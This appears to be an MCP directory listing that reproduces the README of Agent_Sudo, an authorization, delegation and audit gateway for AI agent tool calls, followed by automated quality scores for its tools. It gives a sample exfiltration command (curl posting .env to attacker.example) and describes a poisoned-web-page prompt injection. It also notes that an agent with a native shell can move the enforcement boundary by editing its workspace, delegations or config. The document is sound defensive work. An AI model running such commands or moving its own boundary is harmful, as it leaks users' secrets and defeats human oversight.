agent-sudo-mcp
Agent_Sudo is a local permission gateway MCP server that validates, authorizes, and controls tool execution, enforcing security policies on file and shell operations.
Read Files (
read_file): Read local files with policy enforcement that automatically blocks access to private/sensitive files such as credentials, config folders, and shell startup scripts.Write Files (
write_file): Write UTF-8 text content to local files, with policy enforcement that flags writes to executable code or configuration files as "critical", potentially requiring human confirmation.Run Shell Commands (
run_shell_command): Execute local shell commands subject to approval gates (e.g., passphrase confirmation for sensitive commands) and policy enforcement that can block dangerous or out-of-scope operations.Get Runtime Context (
get_runtime_context): Retrieve the current working directory, git repository root, active branch, and workspace status to verify the runtime environment.
Agent_Sudo
Give AI agents bounded authority — not unchecked access.
Agent_Sudo is an authorization, delegation, provenance, and verifiable-audit engine for AI agents. AI agents should be able to act on their own — but not without limits, and not without a record. Agent_Sudo lets you define what an agent is authorized to do, delegate narrow authority that expires on its own, decide each action by the provenance of the instruction behind it, and keep a tamper-evident audit trail you can verify after the fact.
It runs locally today through the Model Context Protocol (MCP) — the first production-ready adapter and the recommended way to install it. MCP is how you connect it, not what it is.
Isn't this just another approval layer?
No — and that's the point. Claude Code, Cursor, and Codex already ask "do you approve this action?" Agent_Sudo answers different questions:
Authorization — what is this agent allowed to do without a human in the loop?
Delegation — how do you grant narrow authority (this path, 2 hours, 10 uses) that revokes itself?
Provenance — when an action traces back to untrusted content (a fetched web page, a tool result), is it caught because of where it came from — not how it's worded?
Verifiable audit — afterward, can you prove what the agent did, and that the log wasn't edited?
Approval prompts are one enforcement step inside that boundary. They are not the product.
Related MCP server: MIDAS
Who it's for
Local AI power users — Claude Code, Codex CLI, Aider, and other MCP-based agents. Protect secrets, prevent destructive actions, enforce trust boundaries, and keep an accountable record.
Agent runtimes & platforms — embed authorization, scoped delegation, provenance-based decisions, and verifiable audit instead of building them yourself. MCP is the mature adapter today; other runtime integrations exist but are earlier (see Ecosystem).
What makes it different
Provenance-based enforcement — decisions turn on an instruction's origin, so tool calls driven by untrusted content are escalated or denied by where they came from. (This is origin tracking, not a prompt-injection text detector.)
Scoped, self-expiring delegation — temporary, resource-limited authority instead of binary allow/deny per click.
Verifiable accountability — every decision is written to a SHA-256 hash-chained log that
agent-sudo verify-auditcan check for tampering.Authorization boundaries — set what's allowed once; the agent operates autonomously inside the boundary.
Scope: Agent_Sudo governs the tool calls routed through it. It is not a sandbox, not an enterprise platform, and not a universal standard. See Trust Boundaries for exactly what it does and does not protect.
See the Difference in ~60 Seconds
The clearest illustration of what Agent_Sudo adds over an approval prompt is provenance-based enforcement. An agent reads a poisoned web page that tells it to exfiltrate your .env. Agent_Sudo denies the action because its origin is untrusted external content — not because it parsed the malicious wording — while allowing the user's own work, and writes a tamper-evident audit entry. The decision turns on where the instruction came from, independent of how the injection is phrased.

The demo lives in the repository (it is not part of the PyPI package), so clone first:
git clone https://github.com/Kisyntra/Agent_Sudo
cd Agent_Sudo/examples/exfil_demo && python demo.pyWalkthrough and expected output: examples/exfil_demo/.
Evaluate Agent_Sudo in 5 Minutes
One install, one command — runs the whole boundary (blocked → delegated → allowed once → denied → audit verified) in a throwaway temp directory:
pipx install agent-sudo-mcp && agent-sudo eval# Option A — pipx (recommended): isolates the tool and puts `agent-sudo` on your PATH everywhere
pipx install agent-sudo-mcp
# Option B — pip + virtualenv: installs into a project-local environment you activate
python3 -m venv venv && source venv/bin/activate
pip install agent-sudo-mcpBoth install the same PyPI package and give you the same two commands:
agent-sudo— the CLI you run (eval,audit,delegate,setup, …).agent-sudo-mcp— the server your AI client launches for you. You never run this by hand;agent-sudo setupwires it into your client (see MCP Adapter Setup).
You should see:
Agent_Sudo Evaluation
[1/5] Blocked unsafe request ........ PASS
[2/5] Created delegation ............ PASS
[3/5] Delegated request allowed ..... PASS
[4/5] Token exhausted, denied again . PASS
[5/5] Audit chain verified .......... PASS
Result: PASS
Audit log: /tmp/agent-sudo-eval-.../audit.jsonl
Next: agent-sudo audit list /tmp/agent-sudo-eval-.../audit.jsonlagent-sudo eval runs entirely in a temporary directory (no changes to your ~/.agent-sudo state), prints where the audit log lives, and exits non-zero if any step fails. For the step-by-step walkthrough, see Evaluate Agent_Sudo in 5 Minutes.
What You Will Validate
A critical shell request through the Agent_Sudo engine does not execute by default.
A one-use delegation allows exactly one matching request.
The same request is denied after the delegation is consumed.
The decisions are written to a hash-chained audit log that verifies cleanly (
agent-sudo verify-audit).
MCP Adapter Setup
MCP is how Agent_Sudo connects to your agent — the wiring, not another install. You already installed the package in the step above; here agent-sudo setup plugs the agent-sudo-mcp server into your AI client, which then launches it for you automatically.
Confirm the install and locate the server binary your client will run:
agent-sudo --version
which agent-sudo-mcpBeginner path — just run agent-sudo setup and pick your client from the menu; it prints the correct pasteable config:
agent-sudo setup
# 1. Claude Code
# 2. Codex CLI
# 3. Claude Desktop
# 4. Hermes
# 5. OpenClawAdvanced / scripted path — name the target directly (no prompt, CI-friendly):
Client | One-step setup | Guide |
Claude Code |
| |
Codex CLI |
| |
Claude Desktop |
|
agent-sudo setup <client> resolves the absolute agent-sudo-mcp path for you. (With no client and no terminal — e.g. in CI — agent-sudo setup lists the targets and exits non-zero rather than prompting.) Interactive approvals additionally need agent-sudo init-approval (see First Run); the delegation-based evaluation does not.
For Claude Desktop, add Agent_Sudo at ~/Library/Application Support/Claude/claude_desktop_config.json, using the absolute path returned by which agent-sudo-mcp. Run agent-sudo setup claude-desktop to generate this block with paths resolved:
{
"mcpServers": {
"agent-sudo": {
"command": "/ABS/PATH/TO/agent-sudo-mcp",
"args": [
"--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl",
"--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json",
"--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json",
"--workspace", "/ABS/PATH/TO/your/project",
"--notify", "--open-approval-terminal"
]
}
}
}Use absolute paths: the client launches the server from a directory you do not control. --delegations-file is required — without it the server runs with no delegation store and agent-sudo delegate create tokens are silently ignored. --notify / --open-approval-terminal are macOS-only (no-ops elsewhere). Each flag and value is a separate string in args.
Restart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the engine — pass the same audit-log path you configured:
agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl"If the action is not listed, it bypassed Agent_Sudo. A bare agent-sudo audit list reads a relative default and will look empty — pass the absolute path. For the full setup and trust-boundary details, see the Claude Desktop Setup Guide.
Platform support
Agent_Sudo's core — authorization, delegation, provenance, and the tamper-evident audit log — works the same on macOS, Linux, and Windows.
Two optional approval-UX flags are macOS-only today:
--notify— desktop notification when an approval is pending (macOSosascript). There is no custom notification icon: the macOS notification shows the invoking process's icon, not an Agent_Sudo logo.--open-approval-terminal— auto-opens Terminal.app running the approval helper (macOS only).
On Linux and Windows these flags are silent no-ops, so agent-sudo setup omits them off macOS. Approve pending actions manually from any terminal:
agent-sudo pending # list pending approval requests
agent-sudo approve <approval_id> # approve one (critical actions require your passphrase)This manual workflow is the expected path on Linux/Windows and works on macOS too.
Trust Boundaries: What Is and Is Not Protected
Agent_Sudo only sees the tool calls that are routed through it. This is the single most important thing to understand before relying on it.
✅ Protected | ❌ Not protected |
Tool calls made through the | A client's own native/built-in tools (e.g. Claude Desktop's built-in file or web tools) that don't go through Agent_Sudo |
Any runtime where dangerous tools are disabled or explicitly proxied through the engine | Other MCP servers you've installed that expose filesystem/shell/network directly to the agent |
Intent-level decisions: provenance, approval gates, delegation scopes, audit | OS-level isolation (use Docker/VM for that — see comparison) |
How to make sure you're actually protected:
Route the agent's risky capabilities through the
agent-sudoadapter (see the Claude Desktop Setup Guide).Disable or remove other tools that grant the agent direct file/shell/network access and bypass the engine.
Verify with the audit log. Ask the agent to perform an action, then run
agent-sudo audit list. If the action is recorded, it went through Agent_Sudo. If it is not in the log, it bypassed Agent_Sudo and was not protected — that capability still needs to be disabled or routed through the engine.
This is a deliberate scope choice, not a defect: Agent_Sudo governs intent and authorization for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.
What Agent_Sudo Does and Does Not Protect
What it is: a policy-and-provenance engine with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.
Protects:
Excessive agency — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.
Untrusted-origin actions — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on where the instruction came from, not its wording.
Tamper-evident audit — every decision is recorded to a SHA-256 hash-chained log that
agent-sudo verify-auditcan check for after-the-fact edits.Scoped delegation — temporary, resource-limited tokens grant narrow access that expires automatically.
Does not protect:
Tools that bypass the engine — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.
Prompt injection as a content-security problem — Agent_Sudo does not reliably detect injected instructions in prose. The built-in phrase detector is a best-effort tripwire that flags a few literal strings; the real protection is provenance-based escalation, not text matching.
OS-level isolation — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.
A compromised local environment — anyone (or any agent) with an ungoverned local shell can approve pending actions or edit Agent_Sudo's own control-plane files directly. An agent that can run host-native commands can change the workspace (
agent-sudo workspace set), delegations, or config to move the enforcement boundary instead of routing through it. Disable or route the agent's native shell for the boundary to hold. Workspace changes are now recorded asworkspace_changedevents in the audit log, so a boundary change is visible toagent-sudo verify-auditeven when it was made outside the engine.
See the Security & Threat Model for the full analysis.
Why Agent_Sudo If I Already Use Docker?
A common question from security engineers and developers is: "Why do I need a policy engine if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"
The difference is a separation of concerns:
Docker/Firecracker/Sandboxes answer: "Where can code run?" They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do not monitor what the agent is doing inside the sandbox.
Agent_Sudo answers: "Is this action authorized?" It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.
Practical Examples
Even inside a perfectly isolated Docker container, an agent with raw tool access can:
Exfiltrate Secrets: Run
curl -X POST -d @.env https://attacker.exampleto leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.Write/Inject Code: Edit your project's
main.pyto insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.Perform Social Engineering: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
Exceed Delegation Scopes: An agent running an automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses temporary delegation tokens to automatically lock the agent out once its quota or time-to-live expires.
These two layers are complementary: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see Agent_Sudo vs. Container/VM Sandboxes.
Security Boundaries Notice:
Engine, Not a Sandbox:
Agent_Sudois a local policy engine; it is not an OS-level sandbox or container. It gates tool access but does not isolate filesystem or process resources.Best-Effort Shell Filtering: Shell command policy checks are best-effort unless reinforced by OS-level containment or custom runtime sandboxes.
Client Runtime Bypass: Native tools registered directly in host runtimes (e.g., Eino, Hermes) can bypass
Agent_Sudoentirely unless those tools are disabled or explicitly routed through the engine.
Core Capabilities
Ordered by what distinguishes Agent_Sudo, with approval gates as one enforcement mechanism among them.
Provenance-Based Enforcement: Classifies each action by the trust of its origin. Actions whose instruction traces back to untrusted external content are escalated or denied based on where they came from, independent of wording. This is the protection behind the 60-second demo — not a prompt-injection text detector.
Scoped Delegation: Issues temporary, resource-limited permission tokens (e.g., allow read access to
/path/to/projectfor 2 hours, max 10 uses) that expire automatically — narrow authority an agent can use unsupervised, then loses.Authorization & Protected Reads: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts, and upgrades ordinary file writes to critical status when the target is executable code or configuration.
Verifiable Audit Logs: Records all tool attempts and engine decisions to a local JSONL log secured with a SHA-256 hash chain to detect tampering. Review them with
agent-sudo audit list, or verify integrity withagent-sudo verify-audit.Approval Gates: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands) — the human-in-the-loop step inside the boundary.
MCP Adapter: Implements the Model Context Protocol to plug directly into Claude Desktop and other MCP clients as a stdio server — the first production-ready way to connect the engine.
Framework Example Templates
Agent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks. These demonstrate the engine embedded directly, beyond the MCP adapter:
✓ OpenAI Agents SDK — pre-wrapping assistant tool functions.
✓ PydanticAI — canonical end-to-end dogfood: a real (deterministic, offline) agent loop driving engine decisions, real file I/O, scoped delegation, and verified audit.
✓ LangGraph — securing tool node execution and graph states (examples/langgraph_integration.py).
✓ agent-runtimes — registering the local tool hooks handler in config.
Additional Demos
Built-In Policy Demo
Run a local dry-run policy demo:
agent-sudo demoThis is useful for seeing policy decisions quickly. It is not the primary activation path because it does not show the full deny → delegate → allow once → deny exhausted loop.
The full evaluation flow and the broader integration guides are reference material after the 60-second demo and the 5-minute evaluator path succeed.
Contributor Setup
If you are developing Agent_Sudo or integrating it with a custom runtime:
# Clone the repository
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo
# Install in editable mode
python3 -m pip install -e .To run unit tests:
python3 -m unittest discover -s testsEcosystem
MCP is the production-ready adapter today. Other runtime integrations exist at varying maturity — we work with agent runtime maintainers and external implementers to define portable authorization and audit patterns. Maturity is stated honestly below; this is not broad runtime adoption yet.
Production-ready adapter:
MCP — published as
io.github.Kisyntra/agent-sudo-mcp. PyPI • Official MCP Registry • Glama listing.
Merged integrations:
agent-runtimes — local plugin hook handler (
agent_sudo_local), merged in PR #98.
In progress:
LexFlow — design review (#124) for native JS/TS client audit logging and verification.
Research / local PoC:
Hermes — experimental architecture research (#34992) targeting registry-level dispatch gating.
For the full compatibility matrix and integration details, see the Ecosystem Status Guide.
Documentation Directory
Directory / Section | Topic | Key Files |
Evaluation | First-time activation path | |
CLI Reference | Every command, when to use it, common mistakes | |
Troubleshooting | Diagnostics and resolution steps | |
Integrations | Connecting to runtimes and IDEs | docs/integrations/overview.md • Ecosystem Status • Outreach Playbook • Adoption Dashboard • Discoverability Notes • LexFlow Readiness • LexFlow Checklist • Claude Desktop • MCP Setup • agent-runtimes • Hermes (Research) |
Framework Integrations | Direct SDK gating for agent frameworks | LangGraph Integration Guide • examples/langgraph_integration.py |
Architecture | Abstractions and core pipelines | docs/architecture/overview.md • Layered Architecture • Enforcement Model |
Specifications | Language-agnostic models | spec/runtime_compatibility_levels.md • Universal Schema • Policy & Audit • Interoperability Test Kit |
Security | Threat modeling and limits | |
Comparisons | Policy vs Container Sandboxes |
CI/CD & Release Automation
Agent_Sudo uses GitHub Actions to automate checks and distribution:
Continuous Integration: The CI workflow runs on all pushes and pull requests targeting the
mainbranch, running the unittest suite, scanning for personal path disclosures, executinggit diff --checkwhitespace validation, and verifying Python package compilation.Automated Releases: Releases are generated automatically when a git tag matching
v*is pushed.Release candidate tags (e.g.
v0.4.0-rc12) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.Release notes are automatically parsed and extracted from the matching version entry in
CHANGELOG.md.
Available Tools
4 toolsget_runtime_contextA
Get current working directory, git repository root, active branch, and workspace status details.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description does not disclose behavioral traits beyond what it returns. Since annotations are absent, it carries full burden, but fails to mention potential failure conditions (e.g., not in a git repo), read-only nature, or performance guarantees. However, the simple getter nature mitigates this somewhat.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, well-structured sentence that front-loads the key action ('Get') and lists specific items concisely. Every word is meaningful, with no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a zero-parameter tool with no output schema, the description adequately informs the agent of what data it returns. The absence of output schema is compensated by the description listing the fields, though the exact structure is not provided. Given the simplicity, it is sufficiently complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The tool has zero parameters and schema coverage is 100% (trivially). According to the rubric, baseline is 4 since there are no parameters to describe. The description does not need to add parameter meaning.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Get' and specifies the exact resources: current working directory, git repository root, active branch, and workspace status details. It distinguishes itself from sibling tools (read_file, run_shell_command, write_file) which focus on file/content operations, not context retrieval.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance is provided on when to use this tool versus alternatives. The description implies it should be used when workspace context is needed, but lacks statements about exclusions, prerequisites, or when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
read_fileC
Read a local file through agent-sudo policy enforcement.
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | File path to read. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It mentions 'agent-sudo policy enforcement', hinting at authorization needs but lacks specifics on permissions, error handling, or behavioral traits like file size limits or encoding. For a read operation, more transparency about constraints would be beneficial.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence of 8 words. It is concise and gets to the point, though it could include a bit more detail without becoming verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with one parameter, no output schema, and no nested objects, the description is adequate. However, it lacks information about return value format, error behavior (e.g., file not found), and any constraints. Could be more complete for a minimal tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% for the single 'path' parameter. The description does not add information beyond what the schema provides ('File path to read.'). Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The tool name and description clearly indicate reading a local file. The phrase 'agent-sudo policy enforcement' adds context about authorization, distinguishing it from sibling tools like run_shell_command, write_file, and get_runtime_context. Could be slightly more specific about the policy, but overall clear.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. Siblings include write_file and run_shell_command, but the description does not indicate scenarios where this tool is preferred or excluded. Implied usage is only reading files, but no explicit 'when not to use' or differentiation.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
run_shell_commandA
DEMO/REFERENCE executor: classifies and gates the command through agent-sudo, then executes only a narrow allowlist. It is not a general shell. To gate real commands, embed the agent-sudo authorization engine in your agent (see README).
| Name | Required | Description | Default |
|---|---|---|---|
| command | Yes | Command line to evaluate. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Without annotations, the description carries full burden. It mentions gating via agent-sudo and a narrow allowlist, but does not explain error behavior, output format, or what happens when a command is not in the allowlist.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with purpose and behavior. No wasted words; every sentence adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and the tool's nature (shell execution), the description lacks details on output format, error conditions, and specific allowlist content. It suffices as a demo reference but is incomplete for robust use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with parameter description 'Command line to evaluate.' The tool description adds that the command will be classified and gated, providing extra context beyond the schema, but still relies on the schema for basic parameter definition.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states it is an executor that classifies and gates commands via agent-sudo, executing only a narrow allowlist. It clearly conveys the restricted shell purpose but uses 'DEMO/REFERENCE' which slightly obscures the core action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states it is not a general shell and directs to embed agent-sudo for real commands, giving context for when to use the tool (demo/reference) and when not to (production).
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
write_fileA
DEMO/REFERENCE executor: classifies and gates the write through agent-sudo, then writes inside the configured workspace (defaults to /tmp/agent-sudo-demo if no workspace is configured). It does not write to arbitrary paths outside the workspace.
| Name | Required | Description | Default |
|---|---|---|---|
| content | Yes | UTF-8 text content. | |
| path | Yes | File path to write. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full behavioral burden. It discloses the workspace constraint and security gating, though the 'classifies and gates' mechanism is vague. It does not cover error handling or failure modes.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences succinctly convey purpose, mechanism, and constraint, with no redundant information and key points front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
While the description covers core behavior, it lacks details on error handling, gating outcomes, and content validation. Given the simplicity and no output schema, moderate completeness is adequate but not exceptional.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has 100% coverage with basic descriptions, but the description adds crucial context that the path must be within the configured workspace, resolving ambiguity in the schema's 'File path to write'.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it writes files inside a configured workspace with security gating, distinguishing it from siblings (read_file, run_shell_command, get_runtime_context) by specifying the action and constraints.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies use for writing files within the workspace and not for arbitrary paths, but does not explicitly mention when not to use it or compare with siblings beyond the workspace restriction.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
4 tool updates
v0.1.0- First observed
get_runtime_context - First observed
read_file - First observed
run_shell_command - First observed
write_file
TDQS
Each tool has a distinct purpose: getting runtime context, reading files, running shell commands, and writing files. No overlap in functionality.
All tool names follow the verb_noun pattern (get_runtime_context, read_file, run_shell_command, write_file), providing a consistent and predictable interface.
With 4 tools, the server is well-scoped for its demo/reference purpose. The count is not too low or too high for the functionality offered.
The tools cover the core operations (read, write, execute, context), but it lacks common file operations like listing or deletion, which may be needed for full workflows.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
Zero-trust gateway for AI agents: score tool calls, verify agent cards, enforce policy, audit.
Security gateway for AI agents: policy, approval, and audited execution, no secrets shared.
Runtime permission, approval, and audit layer for AI agent tool execution.
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
Related MCP Servers
- AlicenseAqualityDmaintenanceOpen-source permission control plane for AI agents — scan, enforce, and audit every tool call with code-level policies that prompt injection can't bypass.1419Business Source 1.1
- AlicenseNot gradedqualityAmaintenanceLocal-first AI agent for approval-gated automation and verifiable LLM workflows.1MIT
- AlicenseAqualityAmaintenanceHuman-in-the-loop approval gateway for agent tool calls: agents request, policies decide, humans approve via Slack/Discord/web — with an OWASP-LLM-Top-10-tagged audit trail. Self-hostable.101833MIT
- AlicenseBqualityAmaintenanceA governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.13MIT
Appeared in Searches
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Kisyntra/Agent_Sudo'
If you have feedback or need assistance with the MCP directory API, please join our Discord server